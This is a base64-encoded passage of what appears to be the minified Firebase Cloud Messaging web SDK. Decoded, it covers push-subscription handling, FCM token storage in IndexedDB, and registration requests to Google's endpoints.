nByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eSgiZ2V0S2V5Iil9ZnVuY3Rpb24gbG4oZT1mdW5jdGlvbihlPUcpe2NvbnN0IHQ9WS5nZXQoZSk7aWYoIXQmJmU9PT1HJiZzKCkpcmV0dXJuIGllKCk7aWYoIXQpdGhyb3cgdGUuY3JlYXRlKCJuby1hcHAiLHthcHBOYW1lOmV9KTtyZXR1cm4gdH0oKSl7cmV0dXJuIGRuKCkudGhlbigoZT0+e2lmKCFlKXRocm93IEd0LmNyZWF0ZSgidW5zdXBwb3J0ZWQtYnJvd3NlciIpfSksKGU9Pnt0aHJvdyBHdC5jcmVhdGUoImluZGV4ZWQtZGItdW5zdXBwb3J0ZWQiKX0pKSxlZShtKGUpLCJtZXNzYWdpbmctc3ciKS5nZXRJbW1lZGlhdGUoKX1aKG5ldyBiKCJtZXNzYWdpbmctc3ciLChlPT57Y29uc3QgdD1uZXcgY2xhc3N7Y29uc3RydWN0b3IoZSx0LG4pe3RoaXMuZGVsaXZlcnlNZXRyaWNzRXhwb3J0ZWRUb0JpZ1F1ZXJ5RW5hYmxlZD0hMSx0aGlzLm9uQmFja2dyb3VuZE1lc3NhZ2VIYW5kbGVyPW51bGwsdGhpcy5vbk1lc3NhZ2VIYW5kbGVyPW51bGwsdGhpcy5sb2dFdmVudHM9W10sdGhpcy5pc0xvZ1NlcnZpY2VTdGFydGVkPSExO2NvbnN0IGk9ZnVuY3Rpb24oZSl7aWYoIWV8fCFlLm9wdGlvbnMpdGhyb3cgdW4oIkFwcCBDb25maWd1cmF0aW9uIE9iamVjdCIpO2lmKCFlLm5hbWUpdGhyb3cgdW4oIkFwcCBOYW1lIik7Y29uc3QgdD1bInByb2plY3RJZCIsImFwaUtleSIsImFwcElkIiwibWVzc2FnaW5nU2VuZGVySWQiXSx7b3B0aW9uczpufT1lO2Zvcihjb25zdCBpIG9mIHQpaWYoIW5baV0pdGhyb3cgdW4oaSk7cmV0dXJue2FwcE5hbWU6ZS5uYW1lLHByb2plY3RJZDpuLnByb2plY3RJZCxhcGlLZXk6bi5hcGlLZXksYXBwSWQ6bi5hcHBJZCxzZW5kZXJJZDpuLm1lc3NhZ2luZ1NlbmRlcklkfX0oZSk7dGhpcy5maXJlYmFzZURlcGVuZGVuY2llcz17YXBwOmUsYXBwQ29uZmlnOmksaW5zdGFsbGF0aW9uczp0LGFuYWx5dGljc1Byb3ZpZGVyOm59fV9kZWxldGUoKXtyZXR1cm4gUHJvbWlzZS5yZXNvbHZlKCl9fShlLmdldFByb3ZpZGVyKCJhcHAiKS5nZXRJbW1lZGlhdGUoKSxlLmdldFByb3ZpZGVyKCJpbnN0YWxsYXRpb25zLWludGVybmFsIikuZ2V0SW1tZWRpYXRlKCksZS5nZXRQcm92aWRlcigiYW5hbHl0aWNzLWludGVybmFsIikpO3JldHVybiBzZWxmLmFkZEV2ZW50TGlzdGVuZXIoInB1c2giLChlPT57ZS53YWl0VW50aWwob24oZSx0KSl9KSksc2VsZi5hZGRFdmVudExpc3RlbmVyKCJwdXNoc3Vic2NyaXB0aW9uY2hhbmdlIiwoZT0+e2Uud2FpdFVudGlsKGFzeW5jIGZ1bmN0aW9uKGUsdCl7dmFyIG4saTtjb25zdHtuZXdTdWJzY3JpcHRpb246cn09ZTtpZighcilyZXR1cm4gdm9pZChhd2FpdCB0bih0KSk7Y29uc3QgYT1hd2FpdCBVdCh0LmZpcmViYXNlRGVwZW5kZW5jaWVzKTthd2FpdCB0bih0KSx0LnZhcGlkS2V5PW51bGwhPT0oaT1udWxsPT09KG49bnVsbD09YT92b2lkIDA6YS5zdWJzY3JpcHRpb25PcHRpb25zKXx8dm9pZCAwPT09bj92b2lkIDA6bi52YXBpZEtleSkmJnZvaWQgMCE9PWk/aTpEdCxhd2FpdCBlbih0KX0oZSx0KSl9KSksc2VsZi5hZGRFdmVudExpc3RlbmVyKCJub3RpZmljYXRpb25jbGljayIsKGU9PntlLndhaXRVbnRpbChzbihlKSl9KSksdH0pLCJQVUJMSUMiKSk7cmUoImZpcmViYXNlIiwiMTAuMS4wIiwiYXBwIik7Y29uc3QgcG49Ii9maXJlYmFzZS1tZXNzYWdpbmctc3cuanMiLGZuPSIvZmlyZWJhc2UtY2xvdWQtbWVzc2FnaW5nLXB1c2gtc2NvcGUiLGhuPSJCRE9VOTktaDY3SGNBNkplRlhIYlNOTXU3ZTJ5Tk51M1J6b01qOFRNNFc4OGpJVGZxN1ptUHZJTTFJdi00X2wyTHhRY1l3aHFieTJ4R3BXd3pqZkFuRzQiLGduPSJodHRwczovL2ZjbXJlZ2lzdHJhdGlvbnMuZ29vZ2xlYXBpcy5jb20vdjEiLG1uPSJnb29nbGUuYy5hLmNfaWQiLGJuPSJnb29nbGUuYy5hLmNfbCIsd249Imdvb2dsZS5jLmEudHMiO3ZhciB5bix2bjtmdW5jdGlvbiBJbihlKXtjb25zdCB0PW5ldyBVaW50OEFycmF5KGUpO3JldHVybiBidG9hKFN0cmluZy5mcm9tQ2hhckNvZGUoLi4udCkpLnJlcGxhY2UoLz0vZywiIikucmVwbGFjZSgvXCsvZywiLSIpLnJlcGxhY2UoL1wvL2csIl8iKX1mdW5jdGlvbiBTbihlKXtjb25zdCB0PShlKyI9Ii5yZXBlYXQoKDQtZS5sZW5ndGglNCklNCkpLnJlcGxhY2UoL1wtL2csIisiKS5yZXBsYWNlKC9fL2csIi8iKSxuPWF0b2IodCksaT1uZXcgVWludDhBcnJheShuLmxlbmd0aCk7Zm9yKGxldCByPTA7cjxuLmxlbmd0aDsrK3IpaVtyXT1uLmNoYXJDb2RlQXQocik7cmV0dXJuIGl9IWZ1bmN0aW9uKGUpe2VbZS5EQVRBX01FU1NBR0U9MV09IkRBVEFfTUVTU0FHRSIsZVtlLkRJU1BMQVlfTk9USUZJQ0FUSU9OPTNdPSJESVNQTEFZX05PVElGSUNBVElPTiJ9KHlufHwoeW49e30pKSxmdW5jdGlvbihlKXtlLlBVU0hfUkVDRUlWRUQ9InB1c2gtcmVjZWl2ZWQiLGUuTk9USUZJQ0FUSU9OX0NMSUNLRUQ9Im5vdGlmaWNhdGlvbi1jbGlja2VkIn0odm58fCh2bj17fSkpO2NvbnN0IGtuPSJmY21fdG9rZW5fZGV0YWlsc19kYiIsX249NSxFbj0iZmNtX3Rva2VuX29iamVjdF9TdG9yZSI7Y29uc3QgRG49ImZpcmViYXNlLW1lc3NhZ2luZy1kYXRhYmFzZSIsQ249MSxUbj0iZmlyZWJhc2UtbWVzc2FnaW5nLXN0b3JlIjtsZXQgQW49bnVsbDtmdW5jdGlvbiBPbigpe3JldHVybiBBbnx8KEFuPU9lKERuLENuLHt1cGdyYWRlOihlLHQpPT57aWYoMD09PXQpZS5jcmVhdGVPYmplY3RTdG9yZShUbil9fSkpLEFufWFzeW5jIGZ1bmN0aW9uIE1uKGUpe2NvbnN0IHQ9Tm4oZSksbj1hd2FpdCBPbigpLGk9YXdhaXQgbi50cmFuc2FjdGlvbihUbikub2JqZWN0U3RvcmUoVG4pLmdldCh0KTtpZihpKXJldHVybiBpO3tjb25zdCB0PWF3YWl0IGFzeW5jIGZ1bmN0aW9uKGUpe2lmKCJkYXRhYmFzZXMiaW4gaW5kZXhlZERCJiYhKGF3YWl0IGluZGV4ZWREQi5kYXRhYmFzZXMoKSkubWFwKChlPT5lLm5hbWUpKS5pbmNsdWRlcyhrbikpcmV0dXJuIG51bGw7bGV0IHQ9bnVsbDtyZXR1cm4oYXdhaXQgT2Uoa24sX24se3VwZ3JhZGU6YXN5bmMobixpLHIsYSk9Pnt2YXIgbztpZihpPDIpcmV0dXJuO2lmKCFuLm9iamVjdFN0b3JlTmFtZXMuY29udGFpbnMoRW4pKXJldHVybjtjb25zdCBzPWEub2JqZWN0U3RvcmUoRW4pLGM9YXdhaXQgcy5pbmRleCgiZmNtU2VuZGVySWQiKS5nZXQoZSk7aWYoYXdhaXQgcy5jbGVhcigpLGMpaWYoMj09PWkpe2NvbnN0IGU9YztpZighZS5hdXRofHwhZS5wMjU2ZGh8fCFlLmVuZHBvaW50KXJldHVybjt0PXt0b2tlbjplLmZjbVRva2VuLGNyZWF0ZVRpbWU6bnVsbCE9PShvPWUuY3JlYXRlVGltZSkmJnZvaWQgMCE9PW8/bzpEYXRlLm5vdygpLHN1YnNjcmlwdGlvbk9wdGlvbnM6e2F1dGg6ZS5hdXRoLHAyNTZkaDplLnAyNTZkaCxlbmRwb2ludDplLmVuZHBvaW50LHN3U2NvcGU6ZS5zd1Njb3BlLHZhcGlkS2V5OiJzdHJpbmciPT10eXBlb2YgZS52YXBpZEtleT9lLnZhcGlkS2V5OkluKGUudmFwaWRLZXkpfX19ZWxzZSBpZigzPT09aSl7Y29uc3QgZT1jO3Q9e3Rva2VuOmUuZmNtVG9rZW4sY3JlYXRlVGltZTplLmNyZWF0ZVRpbWUsc3Vic2NyaXB0aW9uT3B0aW9uczp7YXV0aDpJbihlLmF1dGgpLHAyNTZkaDpJbihlLnAyNTZkaCksZW5kcG9pbnQ6ZS5lbmRwb2ludCxzd1Njb3BlOmUuc3dTY29wZSx2YXBpZEtleTpJbihlLnZhcGlkS2V5KX19fWVsc2UgaWYoND09PWkpe2NvbnN0IGU9Yzt0PXt0b2tlbjplLmZjbVRva2VuLGNyZWF0ZVRpbWU6ZS5jcmVhdGVUaW1lLHN1YnNjcmlwdGlvbk9wdGlvbnM6e2F1dGg6SW4oZS5hdXRoKSxwMjU2ZGg6SW4oZS5wMjU2ZGgpLGVuZHBvaW50OmUuZW5kcG9pbnQsc3dTY29wZTplLnN3U2NvcGUsdmFwaWRLZXk6SW4oZS52YXBpZEtleSl9fX19fSkpLmNsb3NlKCksYXdhaXQgTWUoa24pLGF3YWl0IE1lKCJmY21fdmFwaWRfZGV0YWlsc19kYiIpLGF3YWl0IE1lKCJ1bmRlZmluZWQiKSxmdW5jdGlvbihlKXtpZighZXx8IWUuc3Vic2NyaXB0aW9uT3B0aW9ucylyZXR1cm4hMTtjb25zdHtzdWJzY3JpcHRpb25PcHRpb25zOnR9PWU7cmV0dXJuIm51bWJlciI9PXR5cGVvZiBlLmNyZWF0ZVRpbWUmJmUuY3JlYXRlVGltZT4wJiYic3RyaW5nIj09dHlwZW9mIGUudG9rZW4mJmUudG9rZW4ubGVuZ3RoPjAmJiJzdHJpbmciPT10eXBlb2YgdC5hdXRoJiZ0LmF1dGgubGVuZ3RoPjAmJiJzdHJpbmciPT10eXBlb2YgdC5wMjU2ZGgmJnQucDI1NmRoLmxlbmd0aD4wJiYic3RyaW5nIj09dHlwZW9mIHQuZW5kcG9pbnQmJnQuZW5kcG9pbnQubGVuZ3RoPjAmJiJzdHJpbmciPT10eXBlb2YgdC5zd1Njb3BlJiZ0LnN3U2NvcGUubGVuZ3RoPjAmJiJzdHJpbmciPT10eXBlb2YgdC52YXBpZEtleSYmdC52YXBpZEtleS5sZW5ndGg+MH0odCk/dDpudWxsfShlLmFwcENvbmZpZy5zZW5kZXJJZCk7aWYodClyZXR1cm4gYXdhaXQgam4oZSx0KSx0fX1hc3luYyBmdW5jdGlvbiBqbihlLHQpe2NvbnN0IG49Tm4oZSksaT0oYXdhaXQgT24oKSkudHJhbnNhY3Rpb24oVG4sInJlYWR3cml0ZSIpO3JldHVybiBhd2FpdCBpLm9iamVjdFN0b3JlKFRuKS5wdXQodCxuKSxhd2FpdCBpLmRvbmUsdH1mdW5jdGlvbiBObih7YXBwQ29uZmlnOmV9KXtyZXR1cm4gZS5hcHBJZH1jb25zdCBQbj1uZXcgcCgibWVzc2FnaW5nIiwiTWVzc2FnaW5nIix7Im1pc3NpbmctYXBwLWNvbmZpZy12YWx1ZXMiOidNaXNzaW5nIEFwcCBjb25maWd1cmF0aW9uIHZhbHVlOiAieyR2YWx1ZU5hbWV9IicsIm9ubHktYXZhaWxhYmxlLWluLXdpbmRvdyI6IlRoaXMgbWV0aG9kIGlzIGF2YWlsYWJsZSBpbiBhIFdpbmRvdyBjb250ZXh0LiIsIm9ubHktYXZhaWxhYmxlLWluLXN3IjoiVGhpcyBtZXRob2QgaXMgYXZhaWxhYmxlIGluIGEgc2VydmljZSB3b3JrZXIgY29udGV4dC4iLCJwZXJtaXNzaW9uLWRlZmF1bHQiOiJUaGUgbm90aWZpY2F0aW9uIHBlcm1pc3Npb24gd2FzIG5vdCBncmFudGVkIGFuZCBkaXNtaXNzZWQgaW5zdGVhZC4iLCJwZXJtaXNzaW9uLWJsb2NrZWQiOiJUaGUgbm90aWZpY2F0aW9uIHBlcm1pc3Npb24gd2FzIG5vdCBncmFudGVkIGFuZCBibG9ja2VkIGluc3RlYWQuIiwidW5zdXBwb3J0ZWQtYnJvd3NlciI6IlRoaXMgYnJvd3NlciBkb2Vzbid0IHN1cHBvcnQgdGhlIEFQSSdzIHJlcXVpcmVkIHRvIHVzZSB0aGUgRmlyZWJhc2UgU0RLLiIsImluZGV4ZWQtZGItdW5zdXBwb3J0ZWQiOiJUaGlzIGJyb3dzZXIgZG9lc24ndCBzdXBwb3J0IGluZGV4ZWREYi5vcGVuKCkgKGV4LiBTYWZhcmkgaUZyYW1lLCBGaXJlZm94IFByaXZhdGUgQnJvd3NpbmcsIGV0YykiLCJmYWlsZWQtc2VydmljZS13b3JrZXItcmVnaXN0cmF0aW9uIjoiV2UgYXJlIHVuYWJsZSB0byByZWdpc3RlciB0aGUgZGVmYXVsdCBzZXJ2aWNlIHdvcmtlci4geyRicm93c2VyRXJyb3JNZXNzYWdlfSIsInRva2VuLXN1YnNjcmliZS1mYWlsZWQiOiJBIHByb2JsZW0gb2NjdXJyZWQgd2hpbGUgc3Vic2NyaWJpbmcgdGhlIHVzZXIgdG8gRkNNOiB7JGVycm9ySW5mb30iLCJ0b2tlbi1zdWJzY3JpYmUtbm8tdG9rZW4iOiJGQ00gcmV0dXJuZWQgbm8gdG9rZW4gd2hlbiBzdWJzY3JpYmluZyB0aGUgdXNlciB0byBwdXNoLiIsInRva2VuLXVuc3Vic2NyaWJlLWZhaWxlZCI6IkEgcHJvYmxlbSBvY2N1cnJlZCB3aGlsZSB1bnN1YnNjcmliaW5nIHRoZSB1c2VyIGZyb20gRkNNOiB7JGVycm9ySW5mb30iLCJ0b2tlbi11cGRhdGUtZmFpbGVkIjoiQSBwcm9ibGVtIG9jY3VycmVkIHdoaWxlIHVwZGF0aW5nIHRoZSB1c2VyIGZyb20gRkNNOiB7JGVycm9ySW5mb30iLCJ0b2tlbi11cGRhdGUtbm8tdG9rZW4iOiJGQ00gcmV0dXJuZWQgbm8gdG9rZW4gd2hlbiB1cGRhdGluZyB0aGUgdXNlciB0byBwdXNoLiIsInVzZS1zdy1hZnRlci1nZXQtdG9rZW4iOiJUaGUgdXNlU2VydmljZVdvcmtlcigpIG1ldGhvZCBtYXkgb25seSBiZSBjYWxsZWQgb25jZSBhbmQgbXVzdCBiZSBjYWxsZWQgYmVmb3JlIGNhbGxpbmcgZ2V0VG9rZW4oKSB0byBlbnN1cmUgeW91ciBzZXJ2aWNlIHdvcmtlciBpcyB1c2VkLiIsImludmFsaWQtc3ctcmVnaXN0cmF0aW9uIjoiVGhlIGlucHV0IHRvIHVzZVNlcnZpY2VXb3JrZXIoKSBtdXN0IGJlIGEgU2VydmljZVdvcmtlclJlZ2lzdHJhdGlvbi4iLCJpbnZhbGlkLWJnLWhhbmRsZXIiOiJUaGUgaW5wdXQgdG8gc2V0QmFja2dyb3VuZE1lc3NhZ2VIYW5kbGVyKCkgbXVzdCBiZSBhIGZ1bmN0aW9uLiIsImludmFsaWQtdmFwaWQta2V5IjoiVGhlIHB1YmxpYyBWQVBJRCBrZXkgbXVzdCBiZSBhIHN0cmluZy4iLCJ1c2UtdmFwaWQta2V5LWFmdGVyLWdldC10b2tlbiI6IlRoZSB1c2VQdWJsaWNWYXBpZEtleSgpIG1ldGhvZCBtYXkgb25seSBiZSBjYWxsZWQgb25jZSBhbmQgbXVzdCBiZSBjYWxsZWQgYmVmb3JlIGNhbGxpbmcgZ2V0VG9rZW4oKSB0byBlbnN1cmUgeW91ciBWQVBJRCBrZXkgaXMgdXNlZC4ifSk7YXN5bmMgZnVuY3Rpb24gQm4oZSx0KXtjb25zdCBuPXttZXRob2Q6IkRFTEVURSIsaGVhZGVyczphd2FpdCAkbihlKX07dHJ5e2NvbnN0IGk9YXdhaXQgZmV0Y2goYCR7TG4oZS5hcHBDb25maWcpfS8ke3R9YCxuKSxyPWF3YWl0IGkuanNvbigpO2lmKHIuZXJyb3Ipe2NvbnN0IGU9ci5lcnJvci5tZXNzYWdlO3Rocm93IFBuLmNyZWF0ZSgidG9rZW4tdW5zdWJzY3JpYmUtZmFpbGVkIix7ZXJyb3JJbmZvOmV9KX19Y2F0Y2goaSl7dGhyb3cgUG4uY3JlYXRlKCJ0b2tlbi11bnN1YnNjcmliZS1mYWlsZWQiLHtlcnJvckluZm86bnVsbD09aT92b2lkIDA6aS50b1N0cmluZygpfSl9fWZ1bmN0aW9uIExuKHtwcm9qZWN0SWQ6ZX0pe3JldHVybmAke2dufS9wcm9qZWN0cy8ke2V9L3JlZ2lzdHJhdGlvbnNgfWFzeW5jIGZ1bmN0aW9uICRuKHthcHBDb25maWc6ZSxpbnN0YWxsYXRpb25zOnR9KXtjb25zdCBuPWF3YWl0IHQuZ2V0VG9rZW4oKTtyZXR1cm4gbmV3IEhlYWRlcnMoeyJDb250ZW50LVR5cGUiOiJhcHBsaWNhdGlvbi9qc29uIixBY2NlcHQ6ImFwcGxpY2F0aW9uL2pzb24iLCJ4LWdvb2ctYXBpLWtleSI6ZS5hcGlLZXksIngtZ29vZy1maXJlYmFzZS1pbnN0YWxsYXRpb25zLWF1dGgiOmBGSVMgJHtufWB9KX1mdW5jdGlvbiBSbih7cDI1NmRoOmUsYXV0aDp0LGVuZHBvaW50Om4sdmFwaWRLZXk6aX0pe2NvbnN0IHI9e3dlYjp7ZW5kcG9pbnQ6bixhdXRoOnQscDI1NmRoOmV9fTtyZXR1cm4gaSE9PWhuJiYoci53ZWIuYXBwbGljYXRpb25QdWJLZXk9aSkscn1jb25zdCB4bj02MDQ4ZTU7YXN5bmMgZnVuY3Rpb24gS24oZSl7Y29uc3QgdD1hd2FpdCBhc3luYyBmdW5jdGlvbihlLHQpe2NvbnN0IG49YXdhaXQgZS5wdXNoTWFuYWdlci5nZXRTdWJzY3JpcHRpb24oKTtpZihuKXJldHVybiBuO3JldHVybiBlLnB1c2hNYW5hZ2VyLnN1YnNjcmliZSh7dXNlclZpc2libGVPbmx5OiEwLGFwcGxpY2F0aW9uU2VydmVyS2V5OlNuKHQpfSl9KGUuc3dSZWdpc3RyYXRpb24sZS52YXBpZEtleSksbj17dmFwaWRLZXk6ZS52YXBpZEtleSxzd1Njb3BlOmUuc3dSZWdpc3RyYXRpb24uc2NvcGUsZW5kcG9pbnQ6dC5lbmRwb2ludCxhdXRoOkluKHQuZ2V0S2V5KCJhdXRoIikpLHAyNTZkaDpJbih0LmdldEtleSgicDI1NmRoIikpfSxpPWF3YWl0IE1uKGUuZmlyZWJhc2VEZXBlbmRlbmNpZXMpO2lmKGkpe2lmKGZ1bmN0aW9uKGUsdCl7Y29uc3Qgbj10LnZhcGlkS2V5PT09ZS52YXBpZEtleSxpPXQuZW5kcG9pbnQ9PT1lLmVuZHBvaW50LHI9dC5hdXRoPT09ZS5hdXRoLGE9dC5wMjU2ZGg9PT1lLnAyNTZkaDtyZXR1cm4gbiYmaSYmciYmYX0oaS5zdWJzY3JpcHRpb25PcHRpb25zLG4pKXJldHVybiBEYXRlLm5vdygpPj1pLmNyZWF0ZVRpbWUreG4/YXN5bmMgZnVuY3Rpb24oZSx0KXt0cnl7Y29uc3Qgbj1hd2FpdCBhc3luYyBmdW5jdGlvbihlLHQpe2NvbnN0IG49YXdhaXQgJG4oZSksaT1Sbih0LnN1YnNjcmlwdGlvbk9wdGlvbnMpLHI9e21ldGhvZDoiUEFUQ0giLGhlYWRlcnM6bixib2R5OkpTT04uc3RyaW5naWZ5KGkpfTtsZXQgYTt0cnl7Y29uc3Qgbj1hd2FpdCBmZXRjaChgJHtMbihlLmFwcENvbmZpZyl9LyR7dC50b2tlbn1gLHIpO2E9YXdhaXQgbi5qc29uKCl9Y2F0Y2gobyl7dGhyb3cgUG4uY3JlYXRlKCJ0b2tlbi11cGRhdGUtZmFpbGVkIix7ZXJyb3JJbmZvOm51bGw9PW8/dm9pZCAwOm8udG9TdHJpbmcoKX0pfWlmKGEuZXJyb3Ipe2NvbnN0IGU9YS5lcnJvci5tZXNzYWdlO3Rocm93IFBuLmNyZWF0ZSgidG9rZW4tdXBkYXRlLWZhaWxlZCIse2Vycm9ySW5mbzplfSl9aWYoIWEudG9rZW4pdGhyb3cgUG4uY3JlYXRlKCJ0b2tlbi11cGRhdGUtbm8tdG9rZW4iKTtyZXR1cm4gYS50b2tlbn0oZS5maXJlYmFzZURlcGVuZGVuY2llcyx0KSxpPU9iamVjdC5hc3NpZ24oT2JqZWN0LmFzc2lnbih7fSx0KSx7dG9rZW46bixjcmVhdGVUaW1lOkRhdGUubm93KCl9KTtyZXR1cm4gYXdhaXQgam4oZS5maXJlYmFzZURlcGVuZGVuY2llcyxpKSxufWNhdGNoKG4pe3Rocm93IGF3YWl0IGFzeW5jIGZ1bmN0aW9uKGUpe2NvbnN0IHQ9YXdhaXQgTW4oZS5maXJlYmFzZURlcGVuZGVuY2llcyk7dCYmKGF3YWl0IEJuKGUuZmlyZWJhc2VEZXBlbmRlbmNpZXMsdC50b2tlbiksYXdhaXQgYXN5bmMgZnVuY3Rpb24oZSl7Y29uc3QgdD1ObihlKSxuPShhd2FpdCBPbigpKS50cmFuc2FjdGlvbihUbiwicmVhZHdyaXRlIik7YXdhaXQgbi5vYmplY3RTdG9yZShUbikuZGVsZXRlKHQpLGF3YWl0IG4uZG9uZX0oZS5maXJlYmFzZURlcGVuZGVuY2llcykpO2NvbnN0IG49YXdhaXQgZS5zd1JlZ2lzdHJhdGlvbi5wdXNoTWFuYWdlci5nZXRTdWJzY3JpcHRpb24oKTtpZihuKXJldHVybiBuLnVuc3Vic2NyaWJlKCk7cmV0dXJuITB9KGUpLG59fShlLHt0b2tlbjppLnRva2VuLGNyZWF0ZVRpbWU6RGF0ZS5ub3coKSxzdWJzY3JpcHRpb25PcHRpb25zOm59KTppLnRva2VuO3RyeXthd2FpdCBCbihlLmZpcmViYXNlRGVwZW5kZW5jaWVzLGkudG9rZW4pfWNhdGNoKHIpe31yZXR1cm4gSG4oZS5maXJlYmFzZURlcGVuZGVuY2llcyxuKX1yZXR1cm4gSG4oZS5maXJlYmFzZURlcGVuZGVuY2llcyxuKX1hc3luYyBmdW5jdGlvbiBIbihlLHQpe2NvbnN0IG49YXdhaXQgYXN5bmMgZnVuY3Rpb24oZSx0KXtjb25zdCBuPWF3YWl0ICRuKGUpLGk9Um4odCkscj17bWV0aG9kOiJQT1NUIixoZWFkZXJzOm4sYm9keTpKU09OLnN0cmluZ2lmeShpKX07bGV0IGE7dHJ5e2NvbnN0IHQ9YXdhaXQgZmV0Y2goTG4oZS5hcHBDb25maWcpLHIpO2E9YXdhaXQgdC5qc29uKCl9Y2F0Y2gobyl7dGhyb3cgUG4uY3JlYXRlKCJ0b2tlbi1zdWJzY3JpYmUtZmFpbGVkIix7ZXJyb3JJbmZvOm51bGw9PW8/dm9pZCAwOm8udG9TdHJpbmcoKX0pfWlmKGEuZXJyb3Ipe2NvbnN0IGU9YS5lcnJvci5tZXNzYWdlO3Rocm93IFBuLmNyZWF0ZSgidG9rZW4tc3Vic2NyaWJlLWZhaWxlZCIse2Vycm9ySW5mbzplfSl9aWYoIWEudG9rZW4pdGhyb3cgUG4uY3JlYXRlKCJ0b2tlbi1zdWJzY3JpYmUtbm8tdG9rZW4iKTtyZXR1cm4gYS50b2tlbn0oZSx0KSxpPXt0b2tlbjpuLGNyZWF0ZVRpbWU6RGF0ZS5ub3coKSxzdWJzY3JpcHRpb25PcHRpb25zOnR9O3JldHVybiBhd2FpdCBqbihlLGkpLGkudG9rZW59ZnVuY3Rpb24gRm4oZSl7Y29uc3QgdD17ZnJvbTplLmZyb20sY29sbGFwc2VLZXk6ZS5jb2xsYXBzZV9rZXksbWVzc2FnZUlkOmUuZmNtTWVzc2FnZUlkfTtyZXR1cm4gZnVuY3Rpb24oZSx0KXtpZighdC5ub3RpZmljYXRpb24pcmV0dXJuO2Uubm90aWZpY2F0aW9uPXt9O2NvbnN0IG49dC5ub3RpZmljYXRpb24udGl0bGU7biYmKGUubm90aWZpY2F0aW9uLnRpdGxlPW4pO2NvbnN0IGk9dC5ub3RpZmljYXRpb24uYm9keTtpJiYoZS5ub3RpZmljYXRpb24uYm9keT1pKTtjb25zdCByPXQubm90aWZpY2F0aW9uLmltYWdlO3ImJihlLm5vdGlmaWNhdGlvbi5pbWFnZT1yKTtjb25zdCBhPXQubm90aWZpY2F0aW9uLmljb247YSYmKGUubm90aWZpY2F0aW9uLmljb249YSl9KHQsZSksZnVuY3Rpb24oZSx0KXtpZighdC5kYXRhKXJldHVybjtlLmRhdGE9dC5kYXRhfSh0LGUpLGZ1bmN0aW9uKGUsdCl7dmFyIG4saSxyLGEsbztpZighdC5mY21PcHRpb25zJiYhKG51bGw9PT0obj10Lm5vdGlmaWNhdGlvbil8fHZvaWQgMD09PW4/dm9pZCAwOm4uY2xpY2tfYWN0aW9uKSlyZXR1cm47ZS5mY21PcHRpb25zPXt9O2NvbnN0IHM9bnVsbCE9PShyPW51bGw9PT0oaT10LmZjbU9wdGlvbnMpfHx2b2lkIDA9PT1pP3ZvaWQgMDppLmxpbmspJiZ2b2lkIDAhPT1yP3I6bnVsbD09PShhPXQubm90aWZpY2F0aW9uKXx8dm9pZCAwPT09YT92b2lkIDA6YS5jbGlja19hY3Rpb247cyYmKGUuZmNtT3B0aW9ucy5saW5rPXMpO2NvbnN0IGM9bnVsbD09PShvPXQuZmNtT3B0aW9ucyl8fHZvaWQgMD09PW8/dm9pZCAwOm8uYW5hbHl0aWNzX2xhYmVsO2MmJihlLmZjbU9wdGlvbnMuYW5hbHl0aWNzTGFiZWw9Yyl9KHQsZSksdH1mdW5jdGlvbiBXbihlLHQpe2NvbnN0IG49W107Zm9yKGxldCBpPTA7aTxlLmxlbmd0aDtpKyspbi5wdXNoKGUuY2hhckF0KGkpKSxpPHQubGVuZ3RoJiZuLnB1c2godC5jaGFyQXQoaSkpO3JldHVybiBuLmpvaW4oIiIpfWZ1bmN0aW9uIFZuKGUpe3JldHVybiBQbi5jcmVhdGUoIm1pc3NpbmctYXBwLWNvbmZpZy12YWx1ZXMiLHt2YWx1ZU5hbWU6ZX0pfVduKCJodHMvZnJic2xnaWdwLm9nZXBzY212L2llby9lYXlsZyIsInRwOi9pZWFlb2duLWFnb2xhaS5vLzFmcmxnbGdjL28iKSxXbigiQXpTQ2J3NjNnMVIwbkN3ODVqRzgiLCJJYXlhM3lMS3dtZ3ZoN2NGMHE0Iik7Y2xhc3MgVW57Y29uc3RydWN0b3IoZSx0LG4pe3RoaXMuZGVsaXZlcnlNZXRyaWNzRXhwb3J0ZWRUb0JpZ1F1ZXJ5RW5hYmxlZD0hMSx0aGlzLm9uQmFja2dyb3VuZE1lc3NhZ2VIYW5kbGVyPW51bGwsdGhpcy5vbk1lc3NhZ2VIYW5kbGVyPW51bGwsdGhpcy5sb2dFdmVudHM9W10sdGhpcy5pc0xvZ1NlcnZpY2VTdGFydGVkPSExO2NvbnN0IGk9ZnVuY3Rpb24oZSl7aWYoIWV8fCFlLm9wdGlvbnMpdGhyb3cgVm4oIkFwcCBDb25maWd1cmF0aW9uIE9iamVjdCIpO2lmKCFlLm5hbWUpdGhyb3cgVm4oIkFwcCBOYW1lIik7Y29uc3QgdD1bInByb2plY3RJZCIsImFwaUtleSIsImFwcElkIiwibWVzc2FnaW5nU2VuZGVySWQiXSx7b3B0aW9uczpufT1lO2Zvcihjb25zdCBpIG9mIHQpaWYoIW5baV0pdGhyb3cgVm4oaSk7cmV0dXJue2FwcE5hbWU6ZS5uYW1lLHByb2plY3RJZDpuLnByb2plY3RJZCxhcGlLZXk6bi5hcGlLZXksYXBwSWQ6bi5hcHBJZCxzZW5kZXJJZDpuLm1lc3NhZ2luZ1NlbmRlcklkfX0oZSk7dGhpcy5maXJlYmFzZURlcGVuZGVuY2llcz17YXBwOmUsYXBwQ29uZmlnOmksaW5zdGFsbGF0aW9uczp0LGFuYWx5dGljc1Byb3ZpZGVyOm59fV9kZWxldGUoKXtyZXR1cm4gUHJvbWlzZS5yZXNvbHZlKCl9fWFzeW5jIGZ1bmN0aW9uIHpuKGUsdCl7aWYodHx8ZS5zd1JlZ2lzdHJhdGlvbnx8YXdhaXQgYXN5bmMgZnVuY3Rpb24oZSl7dHJ5e2Uuc3dSZWdpc3RyYXRpb249YXdhaXQgbmF2aWdhdG9yLnNlcnZpY2VXb3JrZXIucmVnaXN0ZXIocG4se3Njb3BlOmZufSksZS5zd1JlZ2lzdHJhdGlvbi51cGRhdGUoKS5jYXRjaCgoKCk9Pnt9KSl9Y2F0Y2godCl7dGhyb3cgUG4uY3JlYXRlKCJmYWlsZWQtc2VydmljZS13b3JrZXItcmVnaXN0cmF0aW9uIix7YnJvd3NlckVycm9yTWVzc2FnZTpudWxsPT10P3ZvaWQgMDp0Lm1lc3NhZ2V9KX19KGUpLHR8fCFlLnN3UmVnaXN0cmF0aW9uKXtpZighKHQgaW5zdGFuY2VvZiBTZXJ2aWNlV29ya2VyUmVnaXN0cmF0aW9uKSl0aHJvdyBQbi5jcmVhdGUoImludmFsaWQtc3ctcmVnaXN0cmF0aW9uIik7ZS5zd1JlZ2lzdHJhdGlvbj10fX